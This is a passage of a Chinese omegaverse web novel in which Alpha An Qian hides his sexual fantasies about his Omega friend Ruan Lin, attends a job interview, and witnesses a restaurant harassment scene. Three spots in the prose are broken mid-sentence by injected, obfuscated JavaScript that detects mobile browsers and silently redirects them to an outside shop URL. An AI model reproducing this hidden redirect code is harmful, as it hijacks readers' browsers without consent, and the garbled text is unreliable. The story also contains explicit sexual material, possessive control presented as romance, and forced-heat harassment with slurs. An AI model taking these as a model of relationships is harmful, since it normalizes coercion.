安阡愣了愣,他太沉浸在幻想里,以至于完全没听到外界的声音。 他拿起手机看了一眼。 三个未接来电,来自【天下第一好朋友】。 看见备注名,安阡呼吸一滞,动作僵硬地接起电话,“喂……阿霖?” 电话另一头松了口气,似乎总算放下心来。 “你终于接电话了。”阮霖说,“我还以为你出事了。” 安阡勉强地笑了两声,“没有没有……我安全着呢。” 他低下头。 球还在里面没弄出来,经历了一番风雨的肌肉正疲惫地张合,场面一塌糊涂。 他瞥了一眼,脸迅速涨红了,赶紧抽了几张纸巾来擦。 阮霖在那头问,“那就好,刚才在做什么?” 怎么这么难擦。 安阡拧紧了眉头,手包着纸巾用力抹了抹,阮霖温和清冽的声音从听筒里流过来。 他眉毛一抖。 刚刚疲软下去过的物体又颤巍巍抬起了头。 要命。 “别起来了好不好,平时你也没这么有精力啊。”安阡小声嘀咕,又揉了两下,想让自己快点恢复正常。 “我没听清,你说了什么?” “没,没说什么。”安阡一激灵,“阿霖你问我什么,刚才?啊,我刚刚在睡觉呢。” 他总不好说自己刚才在幻想里和阮霖耳鬓厮磨,而且幻想中的阮霖还是在上面的那个。这根本是变态中的变态,传出去简直败坏良家少O的清誉。 阮霖听了有些奇怪,“这个点还在睡觉?昨晚没睡好吗?” 没睡好还不是因为你。 安阡心里想,脸色却越发红了。 “有点困,可能是酒喝多了,还没缓过来。” “原来是这样,你身体不好,下次少喝点酒吧。” “嗯嗯。” 他积极地回应。 “对了,阿霖,你为什么打我电话呀?” “问问你情况怎么样,”阮霖答,“还有,你不是缺钱吗。把月色酒吧的工作辞了吧,我帮你联系到了一家公司,你去那里当实习生,工资按正式员工算。” “啊?这是不是有点麻烦你了……” “以我们的关系,有什么麻不麻烦的。”阮霖爽快道,“你愿意的话,明天就过去面试吧,地址我稍后发你。” 电话挂断了。 下面还硬得难受,安阡匆匆解决完,看着已然黑下去的屏幕发怔。 你疯了吗,安阡。 你是Alpha,阮霖是Omega。 就算你有那种变态的癖好,也不能……也不能想着让自己的Omega朋友来……来做那些事…… 阮霖对你这么好。 但你呢? 你在做什么? 你在幻想里亵渎他,把阮霖当成满足你可耻欲望的工具。 你怎么可以这么不要脸。 安阡把自己变成一小团,蜷缩在床头的角落里。 玩具还没收拾,左一个右一个散落在床上。 他看着那些东西,整个人仿佛受着火燎,后知后觉地涌上来罪恶感和羞耻感。 安阡害臊地爬起来,把玩具一个个收拾好,然后把纸箱锁进柜子最深处。 他决定了。 他要假装这件事没发生过。 明天去阮霖说的公司面试,之后他就像个普通的朋友一样,正常地和阮霖相处。 什么春梦,什么暗恋,去他的吧。他要和阮霖做一辈子的好朋友! 8. 公司面试 安阡眯了眯眼,抬起头看着流光溢彩的楼顶,“光绎”logo形状的纹样在阳光下忽闪忽闪。 他没想到,阮霖还真给他介绍到了一个大公司。 光绎集团是国内文化行业的龙头企业,实习生的名额大部分被内推抢走了,只有少部分留给校招。如果让安阡自己去申请,大概初筛环节就会被刷下来。 阿霖应该也费了不少劲,才给他争取到这个机会吧。 安阡摊开手掌。 掌心中,精致的玻璃蝴蝶栩栩如生,它张开双翅,似乎随时都会飞起。 蝴蝶上串了一条细细的银链,反射出漂亮的光芒。 这是阮霖在离开他们从小一起生活的南溪前送给他的。 他担心自己走后安阡会伤心,特意做了对玻璃蝴蝶,将其中一只送给安阡当作纪念品。 阮霖和他说,这对蝴蝶就是他们的象征。孤单无助的时候,只要看看蝴蝶,就知道很远的地方,还有另一个人正在思念守护着你。 安阡给小蝴蝶串上链子做成吊坠,想起阮霖的时候,就会把吊坠拿出来看看。 今天出门的时候,他特地把蝴蝶带在身上,希望能汲取一些力量。 要努力啊,安阡。 不要辜负阮霖对你的期待。 安阡攥紧蝴蝶,在心里鼓励自己。 “A区14号。” 广播声传来。 安阡垂眸看了一眼自己的号码。 27号,还有段时间。 他翻看资料打算做点准备,这个时候,旁边忽然有人轻拍了一下安阡的肩膀, “你好,你是来面试的吗?” 这段时间里起码有10个人找他搭讪,安阡眉毛皱了一下,不太想搭理。 但出于礼貌,他还是将吊坠挂到脖子上,转过头温和地开口。 “对,请问有什么事?” “我找个人,请问你知不知道……” 问话的人声音渐渐收住,他看清安阡的脸之后,表情十分惊讶。 安阡同样一怔。 “安阡?” “你是咪咪?” 两人异口同声。 安阡瞧着眼前的人。 面前的Omega有张圆圆的鹅蛋脸,嘴角两个浅浅的酒窝,褪去了妆容和挑逗性的打扮,对方看起来十分年轻,甚至有些稚嫩。 Omega听见他叫自己,神情有些不自然,“别在这里叫我这个名字。” 他指了指自己胸前的工作证,上面写着他的姓名,苏觅。 安阡意外,“你是光绎的员工?” “是啊,”苏觅点头,“你别用那种眼神看我,虽然我有时候会利用私人时间赚点外快,但我还是有正经工作的。” “这样啊。” 安阡红着脸答,昨天在出租屋见面之后,他确实把苏觅当成专门的性工作者了。 苏觅:“好了,你知不知道27号在哪——咦,你就是27号啊?” 他睁大眼睛看着安阡的号码牌,露出惊喜又惊讶的表情。 安阡不太明白他要做什么,听到苏觅在找27号,他就点了点头,“对,我是27号,怎么了?” “你不用排队了,起来跟我走吧。” 苏觅风风火火的,一把将安阡从座位上拉起来,往等候室外走。 两个漂亮的少年并肩而行,吸引了不少人的目光。 安阡下意识地躲闪其他人的注视,他把自己往苏觅身后缩,小声地问他:“那个,苏先生,我们这是要去做什么?” “叫我小苏就行,别那么生分。”苏觅说,“我们总裁说要亲自面你,要我带你去他办公室。” “总裁?亲自?” 安阡眼睛睁得圆滚滚的。 “是啊,你的运气也太好了吧。今天有个合作方和总裁见面,问到今天面试的事,就点名找你过去。” 苏觅挽着安阡胳膊,一路上像拎小猫崽一样,拖着他到处走。安阡在他后面探头探脑的,想到接下来要见光绎总裁,心里就紧张得直打着鼓。 他并不认识什么厉害的人物,安阡想了一圈,实在想不到谁有这个脸面,能把他引荐给总裁。 很快他们停在办公室门口。 苏觅把他往门前一推。 “好了,进去吧,记得喊钱总。”苏觅叮嘱,“哦对还有,你千万记住了,别把我在外边干活的事情透露出去,晚点我给你带奶茶哦。” 他对安阡招招手,然后走远了。 安阡隔着玻璃门,看见里面有两个人坐着对谈的身影,心脏紧张地怦怦跳。 他深吸口气,鼓起勇气敲了敲门。 “钱总好,我是安阡,听说您要我来面试。” 办公室里坐的是一位留胡茬的中年男人,听见安阡进门的动静,他停下交谈,将座椅扭转过来。 少年穿着一身米白色的针织衫,短发顺下来垂在额前,配上他那张清纯的脸蛋,看上去极其乖巧。 光是站在那就很惹眼。 看见安阡后,钱总的目光里明显划过一道惊艳,他很快恢复了沉稳的神情,点了下头:“你好,进来吧。” 安阡走进门,前面摆了张空椅,应该是为他准备的。 他落座之后,扭头看了一眼,忽然愣住。 钱总上下打量他的样貌,“Omega?” 被错认成Omega是家常便饭的事,遇到这种场面,安阡往往会立刻纠正。但此刻他的注意力全在桌子另一头坐着的人身上 ,完全没听到钱总的问题。 俊美的男人优雅地靠在椅背上,手里拿着一份文书。办公室里飘散着清凉的白茶香味,安阡闻到这个味道,浑身就燥热起来。 “他是Alpha。”见安阡愣在原地没回答,阮霖就出言帮他纠正,“我刚才和您介绍过他的,钱总。” “安阡虽然还在校就读,但专业能力相当出色,假如能招进公司,一定不会辜负你的期待。” 钱总点了点头,看向安阡的目光里还有一丝未消除的疑虑。他向安阡要过简历,前后浏览一番。 安阡攥着手,有些紧张地等待着。他的目光时不时往阮霖那边瞟,疑惑盘旋在心头,又不敢问出口。 他没有想到苏觅说的合作方就是阮霖。 阮霖出现在这里,难道是专门过来帮自己的吗?他的公司在和光绎谈项目? 安阡在心里嘀咕,又看看阮霖,阮霖似乎没有和他说话的意思,就坐在那看着他们。 钱总翻看完简历,开始问安阡问题。 面试持续了很长时间,安阡绞尽脑汁地回答,力图给对方留下个好印象。 整个过程里,阮霖一直坐在旁边淡定地喝茶翻看文件,姿态慵懒从容,像个才貌俱佳的装饰物。 交流完毕,钱总面带笑容,告诉他回去等消息。 “你的综合素质很好,我会和人事部说说,把你列入考虑名单里。”钱总往阮霖的方向看了一眼,“也多亏了阮总,给我们公司介绍了这么优秀的人才。” “谢谢钱总。” “嗯,你可以回去了。” 安阡道谢后站起来,手拉上门把,又看了一眼阮霖,不知道应不应该直接出门。 他犹犹豫豫地推门到一半,阮霖终于说话了,“安阡。” 安阡立刻回头,“在呢。” “你在外面坐着等我一会儿,我和钱总谈完项目,和你一起回去。” 他声音温和,安阡放下心,这才是他习惯的阿霖。 安阡应了声好,出门到外面接待区坐着,安静地等阮霖出来。一会之后,他看见苏觅走了过来,手里还真拿着两杯霸王茶姬。 苏觅看见他很是开心,“安阡,你还没走啊?我还担心我来晚了,你已经回去了呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420479|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我等人,”安阡接过奶茶,问他,“苏觅,和钱总在办公室里的那个合作方,你对他有了解吗?” “你是说阮总吗?光绎近期在承办一个大型艺术展,里面的装置基本都由他们公司负责,最近阮总经常来找钱总接洽。” “每次他路过,都把光绎的姑娘们迷得七荤八素的。那个头、那身材,啧啧啧,我都看得有点动心了。”苏觅跟他八卦,“没想到他长得这么帅,结果居然是个Omega,也不知道什么样的Alpha才能镇得住他。” “对了,你应该认识他吧。”苏觅忽然反应过来,“不然他怎么推荐你去面试?” “我和阿霖……” 安阡顿了一下,以前他可以自然地介绍他和阮霖的关系,但这一次,他却犹豫了。 他晃了下脑袋,把所有不该出现的画面驱逐出脑海,然后对苏觅微微笑了笑。 “我和阮霖是很多年的朋友。” 苏觅听后眼睛一下发出光,看着安阡的眼神里混杂着羡慕和崇拜,“真好啊,我也想要这样的朋友,这样就不用每天当牛马累死累活了。” “他确实很好。” “我羡慕死你了。”苏觅抱着他胳膊说,“安阡,你和阮总是怎么认识的呀,说给我听听呗?” 和阮霖有关的事,安阡总是记得分外清楚。既然阮霖还没出来,他坐在这也没什么事能干,苏觅想知道,安阡也就从头讲给他听。 从童年到青春。 从孤立无援的幼年时代,到如今自立成人。 安阡和苏觅漫无边际地闲聊,说着说着,有一刻他忽然意识到。 他和阮霖,已经度过了那么多个春秋。 --- “那就先聊到这里了,下回见。” 阮霖收拾好东西,和办公室内的人作别。他走出门,看见安阡正和苏觅靠在一块,两个人叽叽喳喳的,聊得热火朝天。 安阡笑得特别开心,那两瓣粉红的嘴唇在笑起来的时候格外引人注意,虎牙在张嘴的时候露出一个小尖尖,看上去非常可爱。 蝴蝶吊坠挂在安阡胸前,随着他的动作一跳一跳的。 阮霖的目光在那个吊坠上短暂地停留了一下,接着他迈开长腿,朝安阡走过去。 安阡捧着奶茶,和苏觅吐槽阮霖小时候的丑事。 苏觅刚刚还笑得前仰后合,兴高采烈地和他讨论,突然神情一敛,像个木偶一样闭住了嘴。 安阡注意到他的不对劲,“怎么了,出什么事了吗?你怎么表情跟见鬼了一样。” 苏觅闭紧嘴巴,眼睛飞快地动弹,示意安阡的身后。 “我后面有什么吗?” 安阡疑惑,他还没来得及转过头,一双大手有力地按住了他的肩。 余光里出现阮霖轮廓硬朗的脸,他的手腕按在安阡的肩上,黑色的手环泛着金属的微光。 “阿霖,你出来啦。” 安阡惊喜地说。 “嗯。” 阮霖点了下头。 “时候不早了,公司要下班了,苏助理也早点回去吧。” 阮霖眼神冷淡地看着苏觅,嘴唇抿成平直的一条线,看起来心情不佳。 奇怪,刚才在办公室里的时候,阮霖看起来还很悠闲的样子。安阡猜测是不是项目进展不顺利,但他还没开口问阮霖,苏觅先站了起来,匆忙地和他们道别。 “我刚想起来,我还要回去烧饭,先走了。”他飞快地鞠了一躬,“阮总再见,安安再见。” “下次见……” 安阡道别的话还没说完,苏觅已经溜没影了。 这么急啊。 安阡一头雾水,但阮霖的表情却忽然晴朗不少。他微笑着接过安阡手中空了的奶茶杯,然后握住他的手。 “走吧,安阡。”他声音温和地说,“我在餐厅订好了晚饭,带你过去吃。” 9. 纯洁友谊 阮霖订的晚餐格外丰盛。 桌上摆满了各种牛排意面沙拉,阮霖细心地替他切好,一个个放到他盘子里。 安阡盯着盘里精致雕花的小点心。 “这些很贵吧?”他忍不住问。 餐厅里环境雅致,到处装点着淡紫色的花簇,盘旋生长的藤蔓缠在欧式宫廷风的立柱上。清甜的气息萦绕周围,令人心情不自觉放松下来。 怎么看都是一家极其高档的餐厅。 “没事,这顿饭钱我出,你只管吃就好。” 阮霖用叉子叉起一小块番茄,送到安阡的嘴边。安阡张开嘴,小巧的舌头卷着番茄块,将它含进口腔里。 “我是担心让你破费。”安阡嚼着番茄,酸甜的汁水在味蕾上炸开,“阿霖,你和光绎有合作的事情,怎么没有提前告诉我啊?” 阮霖说他的公司刚起步,没想到这么快已经和光绎合作上项目了。 他之前还担心,阮霖这么年轻,就一个人在外创业,日子会不会过得很艰难。 但现在看来,阮霖的发展比他想象的更好。 从苏觅的描述中,安阡察觉到阮霖在他们之中声望很高,员工们都很尊敬他。 “这是我们第一次和大公司合作,现在项目才推进了三分之一,很多事还没有定数。我原本打算在稳定下来之后,再把事情告诉你的。” 阮霖把菜全往安阡那里夹。 “多吃点,别饿着。” “我吃不下这么多啦,阿霖。” 安阡从食物的汪洋里抬起脑袋,阮霖总是太考虑他的感受,这么长时间来,他享受阮霖的照顾,有时候并不那么心安理得。 一勺奶油慕斯送到跟前,安阡抿了抿唇,刚打算拒绝,阮霖突然问他,“对了,你和钱总的助理是什么关系,我看你们下午聊得很开心。” “你问苏觅?” 安阡眨巴两下眼睛,想起他和苏觅认识的经过,当时的场景实在不算美妙。 他咳嗽两声。 “没什么……我和他就是…今天刚刚认识,觉得很投缘,就多聊了几句。” 刚认识的人,就聊得这么火热? 阮霖眉头紧了紧,神色有一瞬间的晦暗。 他提醒,“苏助理是Omega。” “啊?” 安阡没明白阮霖为什么没头没尾冒出来这么一句话,他仔细琢磨片刻,认为阮霖这是好心给他介绍未来的同事。 “哦哦,我知道小苏是O啦。你放心阿霖,我肯定会和他好好相处的。” 阮霖的眉毛拧得更紧。 他一看就知道,安阡根本没听懂他的意思。 面前的少年对他微笑,五官温润美丽,瓷白的皮肤在烛火里烁烁,好似一件极尽造物主能事的艺术品。 善良,纯洁,漂亮。 像这样的安阡,不知道会被多少人盯上。 想到安阡和苏觅靠在同一个沙发上的画面,阮霖捏着勺子的手忍不住用力。他盯着安阡那双小鹿一样清澈懵懂的眼睛,阴暗的杂念在胸腔中翻腾,一下下挑拨着他的理智。 安阡不会知道的。 每一次,当他顶着那张天使般的面容靠近他,对他微笑说话撒娇时,他有多想寻找一副锁链,把安阡关起来,留在自己身边。 他所有的表情、动作和情绪都只能对着他一个人。安阡向别人投去一个眼神,他就觉得好像有一块珍宝被别人偷走了似的。 这很病态。 阮霖知道这一点,所以他把自己包装在友谊的外衣之下,像温柔的邻家哥哥一样照顾安阡,才不至于吓跑这只敏感的小白兔。 但他也并非时刻都能保持住完美的伪装。 阮霖扬起嘴角,努力让自己的笑容不显露出恶意,“我不是这个意思,安阡。” “那是什么意思?” 安阡很是不解地张大眼睛,这让他看起来更像一个可以抱进怀里随意揉捏的布娃娃。 阮霖淡淡道:“你是Alpha,要学会和别的Omega保持距离。” 他把盛着甜食的勺子塞进安阡的嘴里,安阡在专心听阮霖说话,等察觉过来时,一大块慕斯已经进了嘴里。 整个口腔都被慕斯占满,堵在嗓子眼上,安阡觉得难受,呜呜嗯嗯地向阮霖表示不满,希望他能把东西从自己嘴里移出去。 但阮霖好像没察觉到他的抗议,反而把勺子送得更深。安阡满嘴的甜点,眼白忍不住往上翻,怀疑自己要被这一口慕斯给活活呛死。 “阿…阿霖……你等一下,我…我要呼吸不过来了……” 他艰难地发出声音。 少年的腮帮子被食物撑得鼓鼓囊囊。 他的嘴边布满奶油,白花花的物质从唇缝里漏出来,黏得到处都是。 阮霖不知道什么时候站了起来,对安阡俯下身,轮廓英朗的五官在安阡的眼里放大,深黑的眼珠不偏不倚地凝视着他。 “好吃吗?” 他声音低沉地问。 或许是安阡的错觉,这一刻阮霖的表情好像前所未有的寒冷,夹带着像要把他吞掉一样的深切渴望。 他一下被拽回那个梦。 梦里疯子一样狠厉的阮霖,好像又出现在眼前。 他的身体颤抖起来。 但阮霖却已经坐回到了座位上,嘴里的慕斯软化之后,沿着食道顺滑地流下,安阡的口腔中只剩下逸散开的甜味。 他眨眨眼。 阮霖放下了勺子,正帮他处理一只大虾,动作斯文儒雅,怎么看都还是那个正经温和的阮霖。 刚才的体验……难道只是错觉吗? “味道怎么样?”阮霖又问了一次。 “特别好吃。” “那我就放心了,我特地挑的这家餐厅,就怕吃的不合你胃口。” 依然是熟悉的关怀腔调,安阡松了口气,心想自己果然是受那个梦的影响太深了。 他回味了一下刚才阮霖说的话。 “阿霖,你刚刚说的有一点不对。”他严肃地说,“虽然小苏是O,但我觉得朋友之间不应该区分性别。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420480|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阮霖嘴角明显一落,“……是么?” “当然是啊。” 安阡表情十分认真。 “你看,你也是Omega,但我们还是能成为很好的朋友。性别的差距根本没那么重要,只要两个人真心在乎对方,所有的差异都可以抹平。” 阮霖眸光闪烁,手指搭在腕间的黑环上。 “友谊确实不必区分性别,”他慢悠悠说,“那么爱情呢,你考虑过这一点吗,安阡?” 安阡怔愣。 阮霖突然提这个……是什么意思? “和同一性别的人交往的时候,你当然可以对他尽情畅怀。但异性不一样,你能相信一个Alpha靠近Omega只是想和他做朋友,而不是对他的身体有任何企图吗?” 安阡想反驳,这怎么不可能呢? A和O当然可以是纯粹的友情啊。 但阮霖又接着说。 “退一步来说,即便你拿对方当朋友,你又怎么保证他对你只是纯洁的友情呢?你也知道,AO之间,本来就有生理上的吸引力,你偶尔泄露的信息素、到来的易感期,都有可能唤起他人的本能。” 安阡闭了嘴。 是啊,他要怎么分清呢? 他以为自己只把阮霖当朋友,但他却在梦里和阮霖上床,甚至幻想着阮霖的样子自我纾解。 难道这是他Alpha的本能在作祟吗? 他忍不住抬起眼,看向对面平静解释的阮霖。 他的心里突然涌起一阵恐慌。如果他对阮霖真的有那种想法,阮霖会不会看破?阮霖会不会畏惧他,提出和他一刀两断? 如果…… 如果他和阮霖保持好距离,可以压制住这种本能吗? “就算你们真的只是普通的友谊,但旁人看了会怎么想?只要AO走得近,所有人都会认为他们之间有一腿。这是社会的成见,你改变不了。”阮霖说,“所以你——” “我知道了。” 安阡接过阮霖的话,表情有些沉重地回答。 “你说得对,我会和Omega保持好距离的。” 终于说通了。 阮霖松了口气,看着安阡低下头小口地吃饭。 少年的眼睫随动作一下下地晃,一副可怜又委屈的样子。 不过是一个刚刚认识的Omega,有这么重要吗? 他皱了皱眉,安阡郁郁不乐的表情让他有些刺痛,他按捺住不爽,在心里打好几句安慰安阡的腹稿,然后做好微笑的姿态,正要开口。 “服务生呢!快来人,把这两Omega带出去!” 邻座的位置突然一阵骚乱,安阡转过头,想要看看发生了什么,一块雪白的瓷碟迎面砸过来。 眼看就要落在他脸上。 安阡的眼睛倏然张大了,恐惧感让他全身的肌肉都紧绷在一起,就在他以为自己要面对惨遭破相的命运时,阮霖迅速地站起来,手臂将飞来的瓷碟挡下。 哗啦。 瓷碟落在地上,裂成一片一片。 10. 劣等货色 阮霖放下了手臂,喘息似乎加快了些。安阡垂下视线,小麦色的肌肤上,有几道红痕顺着硬朗的肌肉线条滑下。 阮霖立马把袖子放下来,但安阡已经注意到了他的伤口,立刻站起来走向阮霖。 “阿霖!” 他焦急地把阮霖的袖口卷上去,碎片造成的伤口很深,血不断从皮肉绽开处向外渗。 “你没事吧?疼不疼?你在这等一下,我这就去找人来给你包扎……” 安阡的脸蛋急得发红,漂亮的眼眸闪着水光,看着好像要落下泪来。 阮霖握住了安阡的手,对他摇了摇头。 温暖的力道让人觉得分外平和,安阡怔了怔,目光对上阮霖镇静的眼眸。 “我没事,”他嘴唇微动,“不用担心我。” 阮霖牵起安阡的手腕,带着他往正在大吵大闹的隔壁餐桌走去。 这桌的客人是一对女性Omega,似乎是一道来这吃饭的闺蜜。一个肥胖的青年男人顶着半边红肿的脸,正指着两名Omega的鼻子破口大骂。 “我真是操了,不就看你两眼吗,又没吃你的肉,居然还甩老子巴掌。” “胡说!明明是你先对小馨动手动脚的,你凭什么怪人家!” “你哪只眼睛看见我对她动手动脚了,你们这些Omega,又当婊子又立牌坊,穿这么骚,不就是想勾引A吗?” 胖男人龇牙咧嘴的,不断把桌上的餐具往地上砸,声音噼里啪啦的,仿佛惊雷阵阵。 他朝其中一个扎麻花辫,低头不敢说话的女生走过去。 “爱打人是吧,老子就站在这,来,你接着打我啊!” 他揪着麻花辫女生的领子,强迫她抬头,手指着自己肿起来的脸颊,“还搁这跟老子装无辜呢,你自己看看,这是不是你打的?” “你这该死的婊子!我就看你怎么了?!你这样的就活该被A骑死!” 胖男人捏着麻花辫女生的下巴,另一个女生想要拦,被他一脚踹开了。 他高高扬起手掌,正要对着女生挥下去。 一个巨大的花瓶突然砸过来,对着男人的肩膀重重一撞。 胖男人立马被砸倒,连带着掀翻了桌子,桌上的饭餐全倒在他身上,黏腻腻的油污沾了他一身。 他脸色扭曲,“那个不长眼的,居然对老子动手……” 一双长腿停在他眼前。 西装裤的缝线顺着腿直直下来,精致而修身。 “真是抱歉,手滑了。” 阮霖声音冷冷地说,胖男人正要爆粗,就见眼前这位不速之客弯下腰,将地上的花瓶重新捡起。 他眼神淡漠,黑眸轻扫过一身污秽的男人。 “原本……” “我是想要对着你的脑袋砸的。” 他口气里的冷意唬得胖男人一震,胖男人咽了咽口水,眼神飘忽。 安阡跑向那名差点被殴打的女生,和她的闺蜜一起柔声细语地安慰她。 胖男人眯了眯眼,将安阡从头到脚扫视一遍。一身米色针织衫的少年和两名Omega站在一块,昳丽的面容格外突出。 他有些痴迷,舔舔下唇还想细看,阮霖却挡住了他的视线,脚踩在胖男人的腿上。 他一手拎着花瓶,冷声说:“看哪儿呢?” “妈的,”胖男人吃痛地惨叫一声,“你小子想英雄救美是不是?我告诉你,你敢惹我,我绝对让你吃不了兜着走!我可是——啊啊啊!” 阮霖脚底狠狠用力,胖男人抱着自己的腿,鬼哭狼嚎地大叫。 “我不管你和她们有什么过节。” 阮霖冷淡地说。 “但你刚才差点砸到我朋友,如果你还想保住你的另一条腿,就给他道歉。” “什么朋友不朋友的……啊啊啊啊啊!!!你别踩了!我道歉!我马上道歉!” 阮霖总算松开了脚,胖男人努力半天才爬起来,踉踉跄跄朝安阡走过去。 “对,对不起啊,刚才我想修理这两个人,不小心误伤到你了,我向你赔罪。” 他拉开两侧嘴角,挤出一个有几分做作的笑容,对安阡说话的同时,狠狠瞪了一眼面带泪痕的麻花辫女生。 听见他的声音,安阡这才转过来,视线头一回落在胖男人身上。 只是这么一眼,就看得胖男人有些心神荡漾。 刚才远远一看没看清楚,现在靠得近了,他才发现这少年长得实在是天生极品,甩路边那些Omega不知道多少条街。 有他在场,那个扎麻花辫的Omega此刻看起来就有些索然无味了。 安阡垂着眼,表情看不出悲喜,“你向我赔什么罪?” “我有眼无珠!不该随便摔东西!差点砸伤这么漂亮的小美人,是我的罪过……” 安阡有些犯恶心,“你没砸伤我,真正被你砸伤的人在那边。” 他指了下阮霖,胖男人恍然大悟。 “对对对,小美人说得对,我这就给那位先生道歉。” 他说着又要折返回阮霖的方向,被安阡叫住。 “等下,”安阡说,“在那之前,你是不是应该先给小馨道歉?” 胖男人一愣。 他看向不停流泪的麻花辫女生,另一个扎高马尾的女孩子还在安慰她。 胖男人有些火气,“那是她先打我的!” 麻花辫女生抽噎着说:“我和果果本来在吃饭,他突然过来,一直盯着我们看,还上来摸…摸……” 胖男人叫道:“我根本没碰到你!再说了,你那裙子穿这么短,像话吗?你自己不守O德,能怪别人看你吗?” 啪! 清脆的巴掌声。 安阡吸了口冷气,揉了揉发红的掌心。他以前没打过人,第一次知道原来打人也这么疼。 胖男人吃惊地张大嘴,捂着自己肿得更高的半边脸颊,“你凭什么打我!” 安阡揉了好几下,感觉手没那么痛了,才说:“你自己长了一张欠打的脸,那能怪别人打你吗?” 他微微扬起下巴,清秀的脸看上去有几分傲慢。 “你,你你!” 胖男人指着安阡,半天没憋出来一个字。 安阡面无表情地盯着他。 他的胆子从来都很小,以前被人欺负了,他也像麻花辫女生一样,只敢一个人偷偷抹眼泪,不敢还手。幸好有阮霖在,他会找到那些欺负安阡的小孩,再一个个修理回去。 这回是第一次。 他在有人被欺负时,选择站出来反击。 他也不清楚自己是哪里来的胆量,或许是麻花辫女生的处境让他想起了以前备受欺凌的自己。也可能是阮霖手臂上流淌的血迹,在某一瞬间刺伤了安阡的心脏。 虽然打人会让手很疼。 但值得。 安阡抱着手,走向胖男人。 “你是不是觉得,长得好看的人出现在你眼前,就是在勾引你呀?” “那我看你,也是在勾引你吗?” 他对胖男人眨了眨眼睛,那双无辜漂亮的眼眸在视线里一晃,胖男人的心跳恍惚漏了一拍。 他迷迷糊糊地差点要点头,但安阡的表情迅速转冷,毫不掩饰地用鄙夷的目光看着他。 “就是你们这种自我意识过剩的A太多了,才会让Omega害怕和Alpha接触。搞清楚点,人家穿什么是别人的自由,有空管人家,不如管好你自己的下半身。” 安阡说完,看见饭店的服务生朝这边赶过来。他也不想再和胖男人继续废话,于是回头去找那两名女生,让她们先离开这个地方。 没走两步。 一股非常呛人的浓重味道突然炸开。 安阡浑身一紧,同为Alpha的他很快就反应过来,这是另一个Alpha的信息素。 面前的两名Omega都发起抖来,脸色泛红,似乎随时都要倒下。 这是强制发情的征兆。 餐厅也因为胖男人这意想不到的举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420481|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动陷入混乱中,在场的Omega都或多或少受到了Alpha信息素的影响,许多人都从座位上站起来,不少人开始致电Omega保护中心请求援助。 胖男人大笑,“我看你们能有多能耐!一个个还不都是闻到Alpha味道就夹紧腿的放浪货!不是不稀罕被老子看吗,现在呢?到底是谁更下流?” 安阡攥紧拳。 他还真没想到,胖男人居然能无耻到这个地步。 几名服务生都是Beta,不受信息素影响。他让服务生赶紧把两名Omega带走做应急处理,接着目光焦急地搜寻阮霖的身影。 他紧张得心脏快要跳出来了。 闻到信息素味道的瞬间,他就在担心阮霖也会被这个Alpha影响,产生不好的反应。 很快,他找到了半跪在人群里的高挑男人。 阮霖用手紧紧按着后颈上的抑制贴,眉头拧起,额头上布满了一层细密的薄汗。 安阡赶紧跑过去。 “阿霖!”他把阮霖从地上扶起来,阮霖手臂这块的衣服已经被血整个染红,看得安阡心里一跳一跳的,“我先带你出去,保护中心的人马上就到了,他们会给你注射特效药的。” 阮霖抬头看了他一眼,脸色看起来很阴沉,“Omega保护中心的药?那没用。” 餐厅里人声喧闹,安阡只看见阮霖的嘴动了动,没听清声音,“你说什么?” 他扶着阮霖,不知道为什么觉得有些冷。 就好像他揽着的是一团正在成型的暴雪,摧枯拉朽地席卷向周围。安阡觉得自己的信息素也跟着搅成了一团,躁动不安地冲撞着。 他捏捏自己的手,指尖是冰凉的。 他想自己可能也受到了胖男人的影响。 和Omega不一样,Alpha闻到同类的信息素会变得十分焦躁,爆发出极强的攻击性。所以他扶着阮霖,才会紧张不安,甚至有把阮霖推远的冲动。 安阡深吸一口气,看看阮霖发红的脸颊,强制自己冷静下来,“你放心,阿霖,我会保护好你的。” 无论发生什么。 阮霖始终是他最重要的人。 他绝不可能让阮霖受到半点伤害。 胖男人看着漂亮的少年突然折返回去,扶起跪在地上的男人。 那男的刚才还盛气凌人地用花瓶砸他,威胁要踩断他的两条腿,结果现在跟个病秧子一样,软弱无力地趴在少年身上,一副动弹不得的样子。 胖男人眼睛里闪烁狡黠的光,贼气的眼神在安阡和阮霖之间不断变换着。 原来是这样。 他还以为安阡长得这么娇美无暇,必然是个手无缚鸡之力之力的Omega。 没想到啊,那个看起来高高大大,感觉不好惹的西装男,才是真正的Omega。 他一下觉得腿也不疼了,趾高气昂地朝被安阡搀扶的阮霖走过去。 “我还当你多厉害呢,结果是个Omega。”他桀桀笑道,“这种劣等货色,也敢在我眼前耀武扬威。识相点就给老子道歉,再乖乖把你朋友交出来——” 哐当。 